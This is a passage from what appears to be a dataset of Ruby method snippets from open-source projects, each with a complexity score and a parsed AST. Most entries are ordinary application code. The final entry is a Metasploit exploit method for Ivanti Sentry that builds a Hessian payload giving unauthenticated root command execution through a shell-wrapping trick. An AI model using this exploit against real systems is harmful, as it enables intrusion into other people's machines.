end","complexity_score":29.15,"ast_json":"{\"type\":\"def\",\"children\":[\"mailhog_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"retrieving \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"MailHog\"]},\"api_messages_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mailhog_response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"MailHog\"]},\"api_messages_url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mailhog_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailhog_response\"]},\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailhog_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"total\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subjects\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailhog_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"items\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"mailhog_item_subject\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Total number of emails: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Subjects:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subjects\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailhog_project_message_count\",{\"type\":\"lvar\",\"children\":[\"subjects\"]}]},\">=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"mailhog_data\"]},null]}]}]}]}","id":"0bf537d3-10bd-48dc-9701-f552b26519c8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/sums_table.rb","start_line":68,"raw_source":"def write_sums_table\n    rows = [build_sums_header_row]\n    if query.grouped?\n      get_groups.each do |group|\n        rows.push build_sums_group_row(group)\n      end\n    end\n    rows.push build_sums_total_row\n    pdf_table_auto_widths(rows, sums_table_column_widths, sums_table_options)\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"write_sums_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_sums_header_row\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"grouped?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_groups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"build_sums_group_row\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"build_sums_total_row\"]}]},{\"type\":\"send\",\"children\":[null,\"pdf_table_auto_widths\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"send\",\"children\":[null,\"sums_table_column_widths\"]},{\"type\":\"send\",\"children\":[null,\"sums_table_options\"]}]}]}]}","id":"61635f5f-0785-43ac-9ed6-f8d79468dde7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/commissioner.rb","start_line":35,"raw_source":"def merge(investigation)\n          InvestigationReport.new(processed_source,\n                                  cop_reports + investigation.cop_reports,\n                                  errors + investigation.errors)\n        end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"investigation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvestigationReport\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_reports\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"investigation\"]},\"cop_reports\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"investigation\"]},\"errors\"]}]}]}]}","id":"95d36853-16ef-47da-90da-f63406766850"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/delete_user_projects.rb","start_line":82,"raw_source":"def delete_user_projects(projects)\n        if @dry_run\n          log_dry_run_output(projects)\n          return\n        end\n\n        if projects.empty?\n          logger.info(\"No projects found\\n\")\n          return\n        end\n\n        delete_resources(projects)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_user_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"projects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dry_run\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_dry_run_output\",{\"type\":\"lvar\",\"children\":[\"projects\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"No projects found\\n\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"delete_resources\",{\"type\":\"lvar\",\"children\":[\"projects\"]}]}]}]}","id":"771e407e-cd38-4b07-9962-be0c8cb87924"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_personas_controller.rb","start_line":229,"raw_source":"def find_ai_persona\n        @ai_persona = AiPersona.find(params[:id])\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_ai_persona\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@ai_persona\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"ca17a27b-7949-4cbb-a0a2-aa9fd2c1f454"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/xml_tag_stripper.rb","start_line":12,"raw_source":"def <<(text)\n        if node = @parsed[-1]\n          if node[:type] == :maybe_tag\n            @parsed.pop\n            text = node[:content] + text\n          end\n        end\n        @parsed.concat(parse_tags(text))\n\n        @parsed, result = process_parsed(@parsed)\n        result\n      end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"<<\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"maybe_tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed\"]},\"pop\"]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},null]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"parse_tags\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parsed\"]},{\"type\":\"lvasgn\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"process_parsed\",{\"type\":\"ivar\",\"children\":[\"@parsed\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"7abff503-6675-4aac-9bc8-100ce82bea5c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/channel_archive_service.rb","start_line":348,"raw_source":"def delete_message_batch(message_ids)\n      Chat::Message.transaction do\n        Chat::Message.where(id: message_ids).update_all(\n          deleted_at: DateTime.now,\n          deleted_by_id: chat_channel_archive.archived_by.id,\n        )\n\n        @archived_messages_ids = (@archived_messages_ids + message_ids).uniq\n        chat_channel_archive.update!(archived_messages: @archived_messages_ids.length)\n      end\n\n      Rails.logger.info(\n        \"Archived #{chat_channel_archive.archived_messages} messages for #{chat_channel_title} archive.\",\n      )\n    end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_message_batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"message_ids\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_channel_archive\"]},\"archived_by\"]},\"id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@archived_messages_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@archived_messages_ids\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"message_ids\"]}]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_channel_archive\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archived_messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@archived_messages_ids\"]},\"length\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Archived \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_channel_archive\"]},\"archived_messages\"]}]},{\"type\":\"str\",\"children\":[\" messages for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_channel_title\"]}]},{\"type\":\"str\",\"children\":[\" archive.\"]}]}]}]}]}","id":"57ccd62a-ba78-4613-9068-1efce43def9a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unreachable_code.rb","start_line":52,"raw_source":"def on_begin(node)\n          expressions = *node\n\n          expressions.each_cons(2) do |expression1, expression2|\n            next unless flow_expression?(expression1)\n\n            add_offense(expression2)\n          end\n        end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_begin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expressions\",{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"each_cons\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expression1\"]},{\"type\":\"arg\",\"children\":[\"expression2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flow_expression?\",{\"type\":\"lvar\",\"children\":[\"expression1\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"expression2\"]}]}]}]}]}]}","id":"26fd002a-0ab5-4d83-bddd-83d6bace6528"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/mutex_application_job.rb","start_line":40,"raw_source":"def handle_error(err, lock_manager, lock_key)\n    lock_manager.unlock(lock_key) unless err.is_a?(LockAcquisitionError)\n    raise err\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"err\"]},{\"type\":\"arg\",\"children\":[\"lock_manager\"]},{\"type\":\"arg\",\"children\":[\"lock_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"LockAcquisitionError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_manager\"]},\"unlock\",{\"type\":\"lvar\",\"children\":[\"lock_key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}","id":"78bc9564-2aaa-4383-8e5f-051094b54a82"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/top_menu/quick_add_menu.rb","start_line":115,"raw_source":"def visible_types\n    @visible_types ||= begin\n      if user_can_create_work_package?\n        in_project_context? ? @project.types : Type.enabled_in(Project.allowed_to(User.current, :add_work_packages))\n      else\n        Type.none\n      end\n    end.to_a\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"visible_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@visible_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_can_create_work_package?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_project_context?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"enabled_in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"sym\",\"children\":[\"add_work_packages\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"none\"]}]}]},\"to_a\"]}]}]}","id":"215f7ae3-253a-44bb-adcc-f3d09f9767e1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_region.rb","start_line":84,"raw_source":"def perf_rollup_parents(interval_name = nil)\n    [MiqEnterprise.my_enterprise].compact unless interval_name == 'realtime'\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_rollup_parents\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"interval_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"realtime\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnterprise\"]},\"my_enterprise\"]}]},\"compact\"]}]}]}","id":"bd24e151-0aef-4d36-b0ba-9afb0ca70c90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/types.rb","start_line":117,"raw_source":"def self.regexp\n          Types.keys.join(\"|\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}","id":"df4434d6-5c09-4d3e-846e-2804fdc47984"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/query_filter_instance_schema_representer.rb","start_line":131,"raw_source":"def json_cacheable?\n            dependencies\n              .values\n              .all?(&:json_cacheable?)\n          end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"json_cacheable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dependencies\"]},\"values\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_cacheable?\"]}]}]}]}","id":"58fc0f82-fe41-433a-a0b6-e89dca89c351"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/dictionary.rb","start_line":81,"raw_source":"def initialize(file_path)\n          @file_path = file_path\n          @data = YAML.load_file(file_path)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@file_path\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]}","id":"02c64ac7-4bdf-4dc8-8317-f8a497f40efc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/config_map.rb","start_line":11,"raw_source":"def generate\n        resource = ::Kubeclient::Resource.new\n        resource.metadata = metadata\n        resource.data = files\n        resource\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kubeclient\"]},\"Resource\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"metadata=\",{\"type\":\"send\",\"children\":[null,\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"data=\",{\"type\":\"send\",\"children\":[null,\"files\"]}]},{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]}","id":"cd40c398-74b6-4193-ba0a-be159c50cf2b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/policies/family_invitation_policy.rb","start_line":18,"raw_source":"def destroy?\n    # Only family owners can cancel invitations\n    user.family == record.family && user.family_owner?\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"family\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"family\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"family_owner?\"]}]}]}","id":"52cff273-8b50-465c-9b6c-0c7e8035e6be"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/sql/hal.rb","start_line":202,"raw_source":"def valid_selects\n            links.keys + properties.keys + [:*]\n          end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_selects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"links\"]},\"keys\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"properties\"]},\"keys\"]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"*\"]}]}]}]}","id":"96f649bd-b0b8-4f94-84d4-a4d41a434afe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ivanti_sentry_misc_log_service.rb","start_line":98,"raw_source":"def execute_command(cmd, _opts = {})\n    # Below is the Hessian binary web service protocol wrapper required to invoke the function `uploadFileUsingFileInput`\n    # which allows for unauthenticated command execution in the context of the root user.\n    # More info on Hessian: http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers\n\n    exploit_header = \"c\\x01\\x00m\\x00\\x18uploadFileUsingFileInputMS\\x00\\x07commandS\\x00\"\n    exploit_footer = \"S\\x00\\x06isRootTzNz\"\n\n    # The sink in this RCE is java's Runtime.getRuntime.exec(). So we must prefix our command with 'sh -c $@|sh .echo'\n    # in order to obtain full shell functionality, more info: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html\n    cmd = \"sh -c $@|sh . echo #{cmd}\"\n    cmd = \"sudo #{cmd}\" if datastore['USE_SUDO']\n\n    vprint_status('Running the command: ' + cmd)\n\n    # Prepend the command with the length of the command as per Hessian notation\n    data = exploit_header + [cmd.length].pack('C') + cmd + exploit_footer\n    res = send_request_raw(\n      'uri' => normalize_uri(target_uri.path, '/mics/services/MICSLogService'),\n      'method' => 'POST',\n      'data' => data\n    )\n\n    fail_with(Failure::Unreachable, 'The target did not respond to the exploit attempt') unless res\n    fail_with(Failure::UnexpectedReply, \"The response from a successful exploit attempt should be a HTTP 200 with 'isRunning' in the response body.\") unless res.code == 200 && res.body.include?('isRunning')\n  end","complexity_score":35.03,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploit_header\",{\"type\":\"str\",\"children\":[\"c\\u0001\\u0000m\\u0000\\u0018uploadFileUsingFileInputMS\\u0000\\u0007commandS\\u0000\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_footer\",{\"type\":\"str\",\"children\":[\"S\\u0000\\u0006isRootTzNz\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sh -c $@|sh . echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USE_SUDO\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sudo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Running the command: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_header\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"exploit_footer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/mics/services/MICSLogService\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"The target did not respond to the exploit attempt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"isRunning\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"The response from a successful exploit attempt should be a HTTP 200 with 'isRunning' in the response body.\"]}]}]}]}]}","id":"4a7be726-6c34-4c7f-8dee-3ea1bd43d1b3"}
